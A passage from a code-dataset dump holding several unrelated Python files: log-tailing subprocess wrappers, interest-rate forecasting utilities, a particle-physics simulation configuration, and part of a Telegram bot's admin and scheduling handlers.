proc\n\n def grep(self, regex, fn, stdout, stderr, **kw):\n cmd = [self.toolpaths.cmd_grep, '--text', '--line-buffered', '--color=never', '-e', regex]\n if fn:\n cmd.append(fn)\n proc = process.Subprocess(cmd, stdout=stdout, stderr=stderr, **kw)\n log.debug('running grep %s, pid: %s', cmd, proc.proc.pid)\n return proc\n\n def sed(self, script, fn, stdout, stderr, **kw):\n cmd = [self.toolpaths.cmd_sed, '-u', '-e', script]\n if fn:\n cmd.append(fn)\n proc = process.Subprocess(cmd, stdout=stdout, stderr=stderr, **kw)\n log.debug('running sed %s, pid: %s', cmd, proc.proc.pid)\n return proc\n\n def tail(self, n, fn, stdout, stderr, **kw):\n flag_follow = '-F' if self.follow_names else '-f'\n cmd = [self.toolpaths.cmd_tail, '-n', str(n), flag_follow, fn]\n proc = process.Subprocess(cmd, stdout=stdout, stderr=stderr, bufsize=1, **kw)\n log.debug('running tail %s, pid: %s', cmd, proc.proc.pid)\n return proc\n\n def tail_awk(self, n, fn, script, stdout, stderr):\n tail = self.tail(n, fn, stdout=subprocess.PIPE, stderr=STREAM)\n awk = self.awk(script, None, stdout=STREAM, stderr=STREAM, stdin=tail.stdout)\n return tail, awk\n\n def tail_grep(self, n, fn, regex, stdout, stderr):\n tail = self.tail(n, fn, stdout=subprocess.PIPE, stderr=STREAM)\n grep = self.grep(regex, None, stdout=STREAM, stderr=STREAM, stdin=tail.stdout)\n tail.stdout.close()\n return tail, grep\n\n def tail_sed(self, n, fn, script, stdout, stderr):\n tail = self.tail(n, fn, stdout=subprocess.PIPE, stderr=STREAM)\n sed = self.sed(script, None, stdout=STREAM, stderr=STREAM, stdin=tail.stdout)\n tail.stdout.close()\n return tail, sed\n","repo_name":"gvalkov/tailon-legacy","sub_path":"tailon/commands.py","file_name":"commands.py","file_ext":"py","file_size_in_byte":3130,"program_lang":"python","lang":"en","doc_type":"code","stars":193,"dataset":"github-code","pt":"75"} +{"seq_id":"39256315117","text":"import sys\nimport os\nimport operator\nimport numpy as np\nimport pandas as pd\nfrom datetime import datetime as dt\n\nsys.path.append(os.path.join(os.path.dirname(__file__), '..', 'src'))\nfrom pars import Inp_Pars\nfrom preprocess_data import Preproc_Data\nfrom fit_distributions import Fit_Distr\n\n#Conversors.\ntransf2application = {'Raw':'simple_diff', 'Diff.':'simple_diff',\n 'Log ratio':'log_ratio'}\ntransf2IR = {'Raw':'ir', 'Diff.':'ir_transf', 'Log ratio':'ir_transf'}\ncurrtag2curr = {'USD':['USD'], 'CAD':['CAD'], 'USD & CAD':['USD', 'CAD']}\nincrtag2incr = {'1':[1], '25':[25], '1 & 25':[1, 25]}\n#E.g. the 'Best fit' distribution can only be used with transformations that\n#make the data stationary (viz. Diff. and Log ratio). \ntransf2distr_options = {\n 'Raw': [u'Normal'],\n 'Diff.': [u'Best fit', 'Normal'],\n 'Log ratio': [u'Best fit', 'Normal']\n}\n\npars2guess = {\n 'Raw_Vasicek': 'theta1=0.1, theta2=0.1, theta3=0.05',\n 'Diff._Vasicek': 'theta1=0.0001, theta2=1., theta3=0.005',\n 'Log ratio_Vasicek': 'theta1=0.0001, theta2=1., theta3=0.005',\n 'Raw_Brownian': 'theta1=0.005, theta2=0.005',\n #Removing the combination below. Fit always seem to prefer theta2 (sigma)=0.\n #'Diff._Brownian': 'theta1=0.003, theta2=0.00001', ##Improve\n #'Log ratio_Brownian': 'theta1=0.005, theta2=0.005' ##Improve\n}\n\ndef sort_pdfs(D, pdfs):\n aux = {}\n for pdf in pdfs:\n aux[pdf] = D['D_' + pdf]\n sorted_aux = sorted(aux.items(), key=operator.itemgetter(1))\n pdf_sorted_list = [entry[0] for entry in sorted_aux]\n return pdf_sorted_list\n\ndef make_fit_df(D, pdfs):\n p_col = [D['p_' + pdf] for pdf in pdfs]\n D_col = [D['D_' + pdf] for pdf in pdfs]\n return pd.DataFrame({'Distribution':pdfs, 'D':D_col, 'p':p_col})\n\ndef format_date(time_range):\n t_min = '{:04d}-{:02d}-01'.format(int(time_range[0] // 1),\n int(12.*(time_range[0] % 1)) + 1)\n t_max = '{:04d}-{:02d}-01'.format(int(time_range[1] // 1),\n int(12.*(time_range[1] % 1)) + 1)\n return t_min, t_max\n\ndef merge_dataframes(list_M, list_curr, list_tenor, list_incr, IR_key):\n list_df = []\n for M, curr in zip(list_M,list_curr):\n for incr in list_incr:\n for t in list_tenor:\n key = '{}m_{}d'.format(str(t),str(incr))\n aux = M[key][['date',IR_key]]\n aux.set_index('date', inplace=True)\n aux.rename(columns={\n IR_key:IR_key + '_{}_{}m_{}d'.format(\n curr, str(t), str(incr))}, inplace=True)\n\n list_df.append(aux)\n merged_df = pd.concat(list_df, axis=1, join='inner', ignore_index=False)\n merged_df.index = pd.to_datetime(merged_df.index)\n return merged_df\n\ndef make_transf_label(transf, incr=None):\n if incr is None:\n T = 't'\n else:\n T = '{} day'.format(str(incr))\n if transf == 'Diff.':\n label = r'IR(Date + {}) - IR(Date)'.format(T)\n elif transf == 'Log ratio':\n label = r'ln (IR(Date + {}) / IR(Date))'.format(T)\n elif transf == 'Raw':\n label = r'IR(Date)'.format(T) \n return label\n \ndef compute_t_range(currtag='USD', incrtag='1', tenor=[1,2,3,6,12]):\n \n list_t_min, list_t_max = [], []\n\n curr_list = currtag2curr[currtag]\n incr_list = incrtag2incr[incrtag] \n for curr in curr_list:\n M = Preproc_Data(curr=curr, incr=incr_list).run()\n for incr in incr_list:\n for t in tenor:\n key = '{}m_{}d'.format(str(t),str(incr))\n dates = M[key]['date'].values\n list_t_min.append(min(dates))\n list_t_max.append(max(dates))\n \n t_min = dt.strptime(max(list_t_min), '%Y-%m-%d')\n t_max = dt.strptime(min(list_t_max), '%Y-%m-%d')\n #Don't use data prior to 1990.\n t_min = max([t_min, dt.strptime('1990-01-01', '%Y-%m-%d')])\n \n t_min = t_min.year + (t_min.month - 1.) / 12.\n t_max = t_max.year + (t_max.month - 1.) / 12.\n\n t_list = [int(t) for t in np.arange(t_min,t_max + 0.0001,1)]\n return t_min, t_max, t_list\n\ndef get_current_ir(M, tenor, incr):\n current_IR = np.array(\n [M['{}m_{}d'.format(str(t),str(incr))]['ir'].values[-1] for t in tenor]) \n return current_IR\n\ndef retrieve_rng_generators(matrix, distr):\n #Loop through each tenor to retrieve y (IR or IR_transf).\n rng_expr = []\n if distr == 'Best fit':\n for y in matrix:\n hist, bins, fit_dict, pdfs = Fit_Distr(y).run_fitting()\n sorted_pdfs = sort_pdfs(fit_dict, pdfs)\n best_pdf = sorted_pdfs[0]\n rng_expr.append(fit_dict['rng_' + best_pdf])\n elif distr == 'Normal':\n scale = np.sqrt(Inp_Pars.dt)\n for y in matrix:\n rng_expr.append('np.random.normal(0., ' + str(scale) + ', size=')\n \n return rng_expr\n","repo_name":"Heringer-Epson/IR_forecaster","sub_path":"src/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":4861,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"9992440039","text":"import sys, os\nfrom Gaudi.Configuration import *\n\n# Workflow Steering\nfrom Configurables import ApplicationMgr\nApplicationMgr().EvtSel = 'NONE'\nApplicationMgr().EvtMax = 100\n\n## Data event model based on Podio\nfrom Configurables import FCCDataSvc\npodioEvent = FCCDataSvc(\"EventDataSvc\")\nApplicationMgr().ExtSvc += [podioEvent]\nApplicationMgr().OutputLevel = INFO\n\n\n## Pythia generator\nfrom Configurables import PythiaInterface\npythia8gentool = PythiaInterface()\npythia8gentool.Filename = os.path.join(os.environ.get(\"FCCSWSHAREDIR\", \"\"),\"Generation/data/Pythia_ttbar.cmd\")\n\n\n## Write the HepMC::GenEvent to the data service\nfrom Configurables import GenAlg\npythia8gen = GenAlg()\npythia8gen.SignalProvider = pythia8gentool\npythia8gen.hepmc.Path = \"hepmc\"\nApplicationMgr().TopAlg += [pythia8gen]\n\n\n### Reads an HepMC::GenEvent from the data service and writes a collection of EDM Particles\nfrom Configurables import HepMCToEDMConverter\nhepmc_converter = HepMCToEDMConverter(\"Converter\")\nhepmc_converter.hepmc.Path = \"hepmc\"\nhepmc_converter.hepmcStatusList = [] # convert particles with all statuses, keeping not just stable final state ones\nhepmc_converter.genparticles.Path = \"genParticles\"\nhepmc_converter.genvertices.Path = \"genVertices\"\nApplicationMgr().TopAlg += [hepmc_converter]\n\n\n# Define all output tools that convert the Delphes collections to FCC-EDM:\n\nfrom Configurables import DelphesSaveChargedParticles\n\nmuonSaveTool = DelphesSaveChargedParticles(\"muons\")\nmuonSaveTool.delphesArrayName = \"MuonMomentumSmearing/muons\"\nmuonSaveTool.particles.Path = \"muons\"\nmuonSaveTool.mcAssociations.Path = \"muonsToMC\"\nmuonSaveTool.isolationTags.Path = \"muonITags\"\n\neleSaveTool = DelphesSaveChargedParticles(\"electrons\")\neleSaveTool.delphesArrayName = \"ElectronFilter/electrons\"\neleSaveTool.particles.Path = \"electrons\"\neleSaveTool.mcAssociations.Path = \"electronsToMC\"\neleSaveTool.isolationTags.Path = \"electronITags\"\n\nchhadSaveTool = DelphesSaveChargedParticles(\"efcharged\")\nchhadSaveTool.delphesArrayName = \"Calorimeter/eflowTracks\"\nchhadSaveTool.saveIsolation = False\nchhadSaveTool.particles.Path = \"efcharged\"\nchhadSaveTool.mcAssociations.Path = \"efchargedToMC\"\n\n\nfrom Configurables import DelphesSaveNeutralParticles\n\n# Particle-Flow Photons output tool\npfphotonsSaveTool = DelphesSaveNeutralParticles(\"efphotons\")\npfphotonsSaveTool.delphesArrayName=\"Calorimeter/eflowPhotons\"\npfphotonsSaveTool.saveIsolation=False\npfphotonsSaveTool.particles.Path = \"efphotons\"\npfphotonsSaveTool.mcAssociations.Path = \"efphotonsToMC\"\npfphotonsSaveTool.isolationTags.Path = \"efphotonITags\"\n\n# Photons output tool\nphotonsSaveTool = DelphesSaveNeutralParticles(\"photons\")\nphotonsSaveTool.delphesArrayName = \"PhotonEfficiency/photons\"\nphotonsSaveTool.particles.Path = \"photons\"\nphotonsSaveTool.mcAssociations.Path = \"photonsToMC\"\nphotonsSaveTool.isolationTags.Path = \"photonITags\"\n\n# Particle-Flow Neutral Hadrons output tool\nneuthadSaveTool = DelphesSaveNeutralParticles(\"efneutrals\")\nneuthadSaveTool.delphesArrayName = \"Calorimeter/eflowNeutralHadrons\"\nneuthadSaveTool.saveIsolation = False\nneuthadSaveTool.particles.Path = \"efneutrals\"\nneuthadSaveTool.mcAssociations.Path = \"efneutralsToMC\"\n\n\nfrom Configurables import DelphesSaveGenJets\n\ngenJetSaveTool = DelphesSaveGenJets(\"genJets\")\ngenJetSaveTool.delphesArrayName = \"GenJetFinder/jets\"\ngenJetSaveTool.genJets.Path = \"genJets\"\ngenJetSaveTool.genJetsFlavorTagged.Path = \"genJetsFlavor\"\n\n\nfrom Configurables import DelphesSaveJets\n\njetSaveTool = DelphesSaveJets(\"jets\")\njetSaveTool.delphesArrayName = \"JetEnergyScale/jets\"\njetSaveTool.jets.Path = \"jets\"\njetSaveTool.jetConstituents.Path = \"jetParts\"\njetSaveTool.jetsFlavorTagged.Path = \"jetsFlavor\"\njetSaveTool.jetsBTagged.Path = \"bTags\"\njetSaveTool.jetsCTagged.Path = \"cTags\"\njetSaveTool.jetsTauTagged.Path = \"tauTags\"\n\n\nfrom Configurables import DelphesSaveMet\n\nmetSaveTool = DelphesSaveMet(\"met\")\nmetSaveTool.delphesMETArrayName = \"MissingET/momentum\"\nmetSaveTool.delphesSHTArrayName = \"ScalarHT/energy\"\nmetSaveTool.missingEt.Path = \"met\"\n\n\n## Delphes simulator -> define objects to be written out\nfrom Configurables import DelphesSimulation\ndelphessim = DelphesSimulation()\n## Define Delphes card\ndelphessim.DelphesCard = os.path.join(os.environ.get(\"DELPHES_DIR\", \"\"), \"cards/delphes_card_IDEA.tcl\")\ndelphessim.ROOTOutputFile = \"\"\ndelphessim.ApplyGenFilter = True\ndelphessim.outputs = [\n \"DelphesSaveChargedParticles/muons\",\n \"DelphesSaveChargedParticles/electrons\",\n \"DelphesSaveNeutralParticles/photons\",\n \"DelphesSaveChargedParticles/efcharged\",\n \"DelphesSaveNeutralParticles/efphotons\",\n \"DelphesSaveNeutralParticles/efneutrals\",\n \"DelphesSaveGenJets/genJets\",\n \"DelphesSaveJets/jets\",\n \"DelphesSaveMet/met\",\n ]\ndelphessim.hepmc.Path = \"hepmc\"\ndelphessim.genParticles.Path = \"skimmedGenParticles\"\ndelphessim.mcEventWeights.Path = \"mcEventWeights\"\nApplicationMgr().TopAlg += [delphessim]\n\n\n## FCC event-data model output -> define objects to be written out\nfrom Configurables import PodioOutput\nout = PodioOutput(\"out\")\nout.filename = \"FCCDelphesOutput.root\"\nout.outputCommands = [\n \"keep *\", \n ]\nApplicationMgr().TopAlg += [out]\n","repo_name":"donalhill/fcc_python_tools","sub_path":"gen_options/PythiaDelphes_config_IDEA.py","file_name":"PythiaDelphes_config_IDEA.py","file_ext":"py","file_size_in_byte":5482,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"16547652691","text":"from aiogram.dispatcher import FSMContext\nfrom aiogram.dispatcher.filters.state import State, StatesGroup\nfrom aiogram import types\nfrom aiogram.dispatcher.filters import Text\n\nfrom create_bot import bot, logging\nfrom data_base import sqlite_db\nfrom handlers import other\n\nfrom datetime import time\n\n\nasync def check_if_admin(user_id, chat_id):\n \"\"\"Функция проверяет, является ли заданный id администратором в заданной группе\"\"\"\n try:\n admins_info = await bot.get_chat_administrators(chat_id)\n admins = [i['user']['id'] for i in admins_info]\n except Exception as e:\n logging.error(f'Ошибка: {e}')\n return False\n if user_id in admins:\n return True\n return False\n\n\nasync def start(message: types.Message):\n \"\"\"\n При срабатывании первый раз, определяет пользователя как старшего администратора (в дальнейшем-СА)\n В следующий раз распознакоет СА как СА.\n Если вводит не СА-проверяет, есть ли пользователь в списке других администраторов (ДА),\n которые управляют ботом, которых назначил СА.\n Если ни в каком списке нет-прощается\n \"\"\"\n main_admin_from_db = await sqlite_db.main_id()\n if main_admin_from_db:\n \"\"\"Если в таблице с СА уже есть айди\"\"\"\n if message.from_user.id == main_admin_from_db:\n \"\"\"Если айди пишущего совпадает с СА из БД\"\"\"\n await bot.send_message(message.from_user.id, '''Бот распознал тебя, как главного администратора.\n \\nЧтобы посмотреть доступные команды - /help''')\n\n else:\n \"\"\"Не совпало со СА, проверяем других админов\"\"\"\n other_admin_from_db = await sqlite_db.check_if_exists_admin()\n if other_admin_from_db:\n \"\"\"Если список не пустой\"\"\"\n other_admin_list = [int(i[0]) for i in other_admin_from_db]\n if message.from_user.id in other_admin_list:\n \"\"\"Если пищущий в этом списке\"\"\"\n await bot.send_message(message.from_user.id,\n 'Привет! Чтобы посмотреть доступные команды - /help')\n else:\n \"\"\"Если пишущего нет в этом списке\"\"\"\n await bot.send_message(message.from_user.id,\n '''Привет! Ты не можешь изменять настройки бота. \n \\nПопроси главного администратора добавить тебя в список.''')\n else:\n \"\"\"В списке с ДА никого нет\"\"\"\n await bot.send_message(message.from_user.id,\n '''Привет! Ты не можешь изменять настройки бота.\n \\nПопроси главного администратора добавить тебя в список.''')\n else:\n \"\"\"Если еще не назначен СА\"\"\"\n await sqlite_db.add_main_admin(message.from_user.id)\n await bot.send_message(message.from_user.id,\n '''Привет! Твой id добавлен как главный администратор.\n \\nЧтобы посмотреть доступные команды - /help\n \\nНе забудь добавить id чата, в котором будем работать!''')\n\n\nasync def help(message: types.Message):\n \"\"\"\n Функция выводит доступные команды СА или ДА. Другим пользователям не выводит\n \"\"\"\n if message.from_user.id == await sqlite_db.main_id():\n await bot.send_message(message.from_user.id, '''Доступные команды старшего администратора:\n \\n/chats - посмотреть список всех чатов, где работает бот.\n \\n/add_chat - добавить чат и администратора.\n \\n/del_chat - удалить чат. \n \\n/change_admin - изменить администратора в чате''')\n\n if message.from_user.id in await sqlite_db.other_admins():\n chat_id_from_db = sqlite_db.cur.execute('''SELECT chat \n FROM chat_admin_time\n WHERE admin == ?''', (message.from_user.id,)).fetchall()\n chats_list = [i[0] for i in chat_id_from_db]\n await bot.send_message(message.from_user.id, f'''Вы управляете чатом/чатами с id {chats_list}''')\n await bot.send_message(message.from_user.id, '''Доступные команды для работы в чате:\n \\n/time - изменить время отправки сообщений и включения чата.\n \\n/morning - изменить утренние приветственные сообщ��ния. \n \\n/night - изменить ночные приветственные сообщения.''')\n\n\nasync def chats(message: types.Message):\n \"\"\"\n Функция доступна СА. Посмотреть список всех чатов, в которых сейчас работает бот.\n \"\"\"\n if message.from_user.id == await sqlite_db.main_id():\n chats_from_db = sqlite_db.cur.execute('''SELECT chat, admin \n FROM chat_admin_time''').fetchall()\n for i in chats_from_db:\n await bot.send_message(message.from_user.id, f'''Чатом с id {i[0]} управляет пользователь с id {i[1]}''')\n await bot.send_message(message.from_user.id, '''/add_chat - добавить чат и администратора.\n \\n/del_chat - удалить чат. \n \\n/change_admin - изменить администратора в чате''')\n\n\nclass FSMAdmin_chat_admin_add(StatesGroup):\n add_chat = State()\n add_admin = State()\n\n\nasync def add_chat(message: types.Message):\n \"\"\"\n Функция доступна СА. Добавить чат в БД для работы бота. Бот запрашивает id чата и пользователя,\n который будет управлять этим чатом.\n Проверяет, является ли СА администратором в этом чате, является ли введеный пользователь администратором в этом чате.\n \"\"\"\n if message.from_user.id == await sqlite_db.main_id():\n await FSMAdmin_chat_admin_add.add_chat.set()\n await message.reply(f'''Введите id чата''')\n\n\nasync def receive_id_chat(message: types.Message, state: FSMContext):\n if message.from_user.id == await sqlite_db.main_id():\n async with state.proxy() as data:\n try:\n int(message.text)\n chat_from_db = await sqlite_db.check_if_exists_chat()\n if chat_from_db and int(message.text) in [int(i[0]) for i in chat_from_db]:\n await message.reply('''Вы ввели id чата, который уже есть в списке.\n \\nВведите id снова или /cancel, чтобы выйти.''')\n else:\n if await check_if_admin(user_id=message.from_user.id, chat_id=int(message.text)):\n if await check_if_admin(user_id=bot.id, chat_id=int(message.text)):\n data['chat'] = int(message.text)\n await message.reply('''Введите id пользователя, который будет \\\n контролировать работу бота в этом чате.\\\n Пользователь должен быть администратором в этом чате.''')\n await FSMAdmin_chat_admin_add.add_admin.set()\n else:\n await message.reply('''Бот не добавлен в группу или не является администратором этой группы.\n \\nДабавьте бота, сделайте его администратором, после попробуйте команду снова''')\n await state.finish()\n return None\n else:\n await message.reply('''Вы не являетесь администратором этой группы.\n \\nВведите корректный id или /cancel''')\n except ValueError as e:\n await message.reply('Введены некорректные данные. Введите id снова или /cancel, чтобы выйти.')\n logging.error(f'Ошибка:{e}')\n\n\nasync def receive_id_admin(message: types.Message, state: FSMContext):\n if message.from_user.id == await sqlite_db.main_id():\n async with state.proxy() as data:\n try:\n int(message.text)\n if await check_if_admin(user_id=int(message.text), chat_id=data['chat']):\n data['admin'] = int(message.text)\n await sqlite_db.insert_new_chat(data)\n await sqlite_db.insert_messages(data['chat'])\n await message.reply('Чат внесен в БД')\n main_admin = await sqlite_db.main_id()\n await other.add_jobs_for_chat(data['chat'], message.from_user.id, 6, 30, 22, 30, main_admin)\n await state.finish()\n else:\n await message.reply('''Этот пользователь не является администратором этой группы.\n \\nСделайте его администратором, или выберите другого модератораю Попробуйте команду снова''')\n await state.finish()\n return None\n except ValueError as e:\n await message.reply('Введены некорректные данные. Введите id снова или /cancel, чтобы выйти.')\n logging.error(f'Ошибка:{e}')\n\n\nclass FSMAdmin_del_chat(StatesGroup):\n del_chat = State()\n\n\nasync def del_chat(message: types.Message, state: FSMContext):\n \"\"\"\n Удаление чатов. Доступно СА.\n Проверяет инфу на корректность данных, на наличие этого чата в списке.\n \"\"\"\n if message.from_user.id == await sqlite_db.main_id():\n chat_from_db = await sqlite_db.check_if_exists_chat()\n if chat_from_db:\n await FSMAdmin_del_chat.del_chat.set()\n await message.reply('Введите id чата без лишних символов для удаления')\n else:\n await message.reply('Бот не работает ни с одним чатом. Удалять нечего')\n await state.finish()\n return None\n\n\nasync def receive_del_chat_id(message: types.Message, state: FSMContext):\n if message.from_user.id == await sqlite_db.main_id():\n async with state.proxy() as data:\n chat_from_db = await sqlite_db.check_if_exists_chat()\n try:\n int(message.text)\n chat_list = [int(i[0]) for i in chat_from_db]\n data['chat_id'] = int(message.text)\n if data['chat_id'] in chat_list:\n await sqlite_db.del_chat(data['chat_id'])\n await sqlite_db.delete_all_morning_messages_of_chat(data['chat_id'])\n await sqlite_db.delete_all_night_messages_of_chat(data['chat_id'])\n await other.del_job_from_scheduler(data['chat_id'])\n await sqlite_db.del_permissions_from_db(data['chat_id'])\n await message.reply('Чат удален')\n await state.finish()\n else:\n await message.reply('Такого чата нет в списке. Введите корректный id или /cancel, чтобы выйти')\n except ValueError as e:\n await message.reply('Введены некорректные данные. Введите снова или /cancel')\n logging.error(f'Ошибка:{e}')\n\n\nclass FSMAdmin_change_admin(StatesGroup):\n chat_id = State()\n change_admin = State()\n\n\nasync def change_chat(message: types.Message):\n \"\"\"\n Доступно СА. Изменяет администратора в уже работающем чате.\n \"\"\"\n if message.from_user.id == await sqlite_db.main_id():\n await FSMAdmin_change_admin.chat_id.set()\n await message.reply(f'''Введите id чата, в котором хотите изменить администратора''')\n\n\nasync def receive_id_chat_change(message: types.Message, state: FSMContext):\n if message.from_user.id == await sqlite_db.main_id():\n async with state.proxy() as data:\n try:\n int(message.text)\n chat_from_db = await sqlite_db.check_if_exists_chat()\n if chat_from_db and int(message.text) in [int(i[0]) for i in chat_from_db]:\n data['chat'] = int(message.text)\n await message.reply('Введите id нового администратора дл этого чата')\n await FSMAdmin_change_admin.change_admin.set()\n else:\n await message.reply('''Чата с таким id нет в базе данных. Бот в нем не работает.\n \\nВведите id снова или /cancel, чтобы выйти.''')\n except ValueError as e:\n await message.reply('Введены некорректные данные. Введите id снова или /cancel, чтобы выйти.')\n logging.error(f'Ошибка:{e}')\n\n\nasync def receive_admin_change(message: types.Message, state: FSMContext):\n if message.from_user.id == await sqlite_db.main_id():\n async with state.proxy() as data:\n try:\n int(message.text)\n if await check_if_admin(user_id=int(message.text), chat_id=data['chat']):\n data['admin'] = int(message.text)\n await sqlite_db.update_admin(data)\n await message.reply('Администратор изменен.')\n await state.finish()\n else:\n await message.reply('''Этот пользователь не является администратором этой группы.\n \\nСделайте его администратором, или выберите другого модератора. Попробуйте команду снова''')\n await state.finish()\n return None\n except ValueError as e:\n await message.reply('''Введены некорректные данные.\\\n Введите id администратора снова или /cancel, чтобы выйти.''')\n logging.error(f'Ошибка:{e}')\n\n\nclass FSMAdmin(StatesGroup):\n choose_chat_time = State()\n time_morning = State()\n time_night = State()\n\n\nasync def change_time(message: types.Message, state: FSMContext):\n \"\"\"\n Изменение времени\n Доступно ДА.\n Сразу утро и вечер вместе.\n ДА, который управляет несколькими чатами, сначала вводит id чата, в котором собирается произвести изменения.\n ДА, который управляет одним чатом, сразу вносит изменения.\n \"\"\"\n if message.from_user.id in await sqlite_db.other_admins():\n chats_list = await sqlite_db.get_chats_of_admin_from_db(message.from_user.id)\n \"\"\"Проверяем, сколькоми чатами управляет пользователь\"\"\"\n if len(chats_list) == 1:\n async with state.proxy() as data:\n data['chat'] = chats_list[0]\n time_from_db = await sqlite_db.get_info_chat(data['chat'])\n morning = time(time_from_db[2], time_from_db[3])\n night = time(time_from_db[4], time_from_db[5])\n await FSMAdmin.time_morning.set()\n await message.reply(f'''На данный момент в вашем чате установлено время: \n \\nУтро - {morning}. Вечер - {night}.\n \\nВведи время включения чата. Через двоеточие. Например - 8:15.\n \\n/cancel, чтобы выйти''')\n else:\n await message.reply(f'''Вы управляете чатами с id {chats_list}. Введите номер чата, который хотите изменить\n \\n/cancel, чтобы выйти''')\n await FSMAdmin.choose_chat_time.set()\n\n\nasync def chat_for_change_time(message: types.Message, state: FSMContext):\n \"\"\"Дополнительный этап, где пользователь, управляющий сразу несколькими группами,\n ввродит чат, который именно хочет изменить\"\"\"\n if message.from_user.id in await sqlite_db.other_admins():\n try:\n int(message.text)\n chats_list = await sqlite_db.get_chats_of_admin_from_db(message.from_user.id)\n async with state.proxy() as data:\n if int(message.text) in chats_list:\n data['chat'] = int(message.text)\n time_from_db = await sqlite_db.get_info_chat(data['chat'])\n morning = time(time_from_db[2], time_from_db[3])\n night = time(time_from_db[4], time_from_db[5])\n await message.reply(f'''На данный момент в этом чате установлено время: \n \\nУтро - {morning}. Вечер - {night}.''')\n\n await message.reply('Введи время включения чата. Через двоеточие. Например - 8:05')\n await FSMAdmin.time_morning.set()\n else:\n await message.reply('Чат введен неверно. Введи id снова или /cancel')\n except Exception as e:\n await message.reply('Введены некорректные данные. Введи id снова или /cancel')\n logging.error(f'Ошибка:{e}')\n\n\nasync def cancel_handler(message: types.Message, state: FSMContext):\n \"\"\"\n функция отмены\n выходит из состония изменения. Вызывается командой /cancel или текстом - отмена\n \"\"\"\n if message.from_user.id == await sqlite_db.main_id() or message.from_user.id in await sqlite_db.other_admins():\n current_state = await state.get_state()\n if current_state is None:\n return None\n await state.finish()\n await message.reply('Ок')\n\n\nasync def morning_time(message: types.Message, state: FSMContext):\n if message.from_user.id in await sqlite_db.other_admins():\n async with state.proxy() as data:\n try:\n data['morning_hour'] = int(message.text.split(':')[0])\n data['morning_minute'] = int(message.text.split(':')[1])\n await FSMAdmin.next()\n await message.reply('Введи время выключения чата. Через двоеточие. Например - 22:03')\n except (IndexError, ValueError) as e:\n await message.reply('Время введено неверно. Введи время снова или /cancel')\n logging.error(f'Ошибка:{e}')\n\n\nasync def night_time(message: types.Message, state: FSMContext):\n if message.from_user.id in await sqlite_db.other_admins():\n async with state.proxy() as data:\n try:\n data['night_hour'] = int(message.text.split(':')[0])\n data['night_minute'] = int(message.text.split(':')[1])\n new_time_morning = time(data['morning_hour'], data['morning_minute'], 0)\n new_time_night = time(data['night_hour'], data['night_minute'], 0)\n if new_time_morning <= new_time_night:\n await other.check_time(data, message, data['chat'])\n await sqlite_db.update_time(data)\n await message.reply('Время изменено')\n await other.modify(data['chat'], data['morning_hour'], data['morning_minute'], data['night_hour'], data['night_minute'])\n await state.finish()\n else:\n await message.reply('Утреннее время должно быть меньше вечернего! Попробуйте команду снова - /time')\n await state.finish()\n except (IndexError, ValueError, KeyError) as e:\n await message.reply('Время введено неверно. Введите время снова или /cancel, чтобы выйти.')\n logging.error(f'Ошибка:{e}')\n\n\nclass FSMAdmin_mm(StatesGroup):\n choose_chat_morning = State()\n option = State()\n number_del = State()\n morning_message = State()\n number_update = State()\n add = State()\n\n\nasync def option_morning(message: types.Message, state: FSMContext):\n \"\"\"\n Изменение утренних сообщений\n Доступно ДА\n Возможности: Удалить одно, Изменить одно, Добавить одно, Перезаписать сразу все\n ДА, который управляет несколькими чатами, сначала вводит id чата, в котором собирается произвести изменения.\n ДА, который управляет одним чатом, сразу вносит изменения.\n \"\"\"\n if message.from_user.id in await sqlite_db.other_admins():\n chats_list = await sqlite_db.get_chats_of_admin_from_db(message.from_user.id)\n \"\"\"Проверяем, сколькими чатами управляет\"\"\"\n if len(chats_list) == 1:\n async with state.proxy() as data:\n chat_id = chats_list[0]\n data['chat'] = chat_id\n await FSMAdmin_mm.option.set()\n await bot.send_message(message.from_user.id, 'Доступные утренние сообщения:')\n info = await sqlite_db.get_messages_morning(data['chat'])\n for i in info:\n await bot.send_message(message.from_user.id, i)\n await message.reply('''Введите команду \n \\n/del - удалить одно из сообщений. \n \\n/one - изменить одно из сообщений. \n \\n/add - добавить новое сообщение. \n \\n/all - обновить все сообщения сразу.\n \\n/cancel - выйти.''')\n else:\n await message.reply(f'''Вы управляете чатами с id {chats_list}. Введите номер чата, который хотите изменить\n \\n/cancel, чтобы выйти''')\n await FSMAdmin_mm.choose_chat_morning.set()\n\n\nasync def choose_chat_morning(message: types.Message, state: FSMContext):\n \"\"\"Дополнительный этап, где пользователь, управляющий сразу несколькими группами,\n ввродит чат, который именно хочет изменить\"\"\"\n if message.from_user.id in await sqlite_db.other_admins():\n try:\n int(message.text)\n chats_list = await sqlite_db.get_chats_of_admin_from_db(message.from_user.id)\n async with state.proxy() as data:\n if int(message.text) in chats_list:\n data['chat'] = int(message.text)\n await bot.send_message(message.from_user.id, 'Доступные утренние сообщения:')\n info = await sqlite_db.get_messages_morning(data['chat'])\n for i in info:\n await bot.send_message(message.from_user.id, i)\n await message.reply('''Введите команду \n \\n/del - удалить одно из сообщений. \n \\n/one - изменить одно из сообщений. \n \\n/add - добавить новое сообщение. \n \\n/all - обновить все сообщения сразу.\n \\n/cancel - выйти.''')\n await FSMAdmin_mm.option.set()\n else:\n await message.reply('Чат введен неверно. Введи id снова или /cancel')\n except Exception as e:\n await message.reply('Введены некорректные данные. Введи id снова или /cancel')\n logging.error(f'Ошибка:{e}')\n\n\nasync def change_morning_all(message: types.Message):\n if message.from_user.id in await sqlite_db.other_admins():\n await FSMAdmin_mm.morning_message.set()\n await message.reply('''Введи новые утренние сообщения. \n \\nМежду фразами поставь символ # и отправь за все вместе за один раз. \n \\nНапример: Доброе утро#Hello#Buenas dias''')\n\n\nasync def receive_morning_all(message: types.Message, state: FSMContext):\n if message.from_user.id in await sqlite_db.other_admins():\n async with state.proxy() as data:\n try:\n messages = message.text.split('#')\n info_for_db = [[messages.index(i)+1, i] for i in messages]\n await sqlite_db.delete_all_morning_messages_of_chat(data['chat'])\n await sqlite_db.insert_many_morning(info_for_db, data['chat'])\n await message.reply('Сообщения обновлены')\n except (TypeError, ValueError) as e:\n await message.reply('Что-то пошло не так. Попробуй команду еще раз и введи данные правильно!')\n logging.error(f'Ошибка:{e}')\n await state.finish()\n return None\n await state.finish()\n\n\nasync def del_morning(message: types.Message):\n if message.from_user.id in await sqlite_db.other_admins():\n await 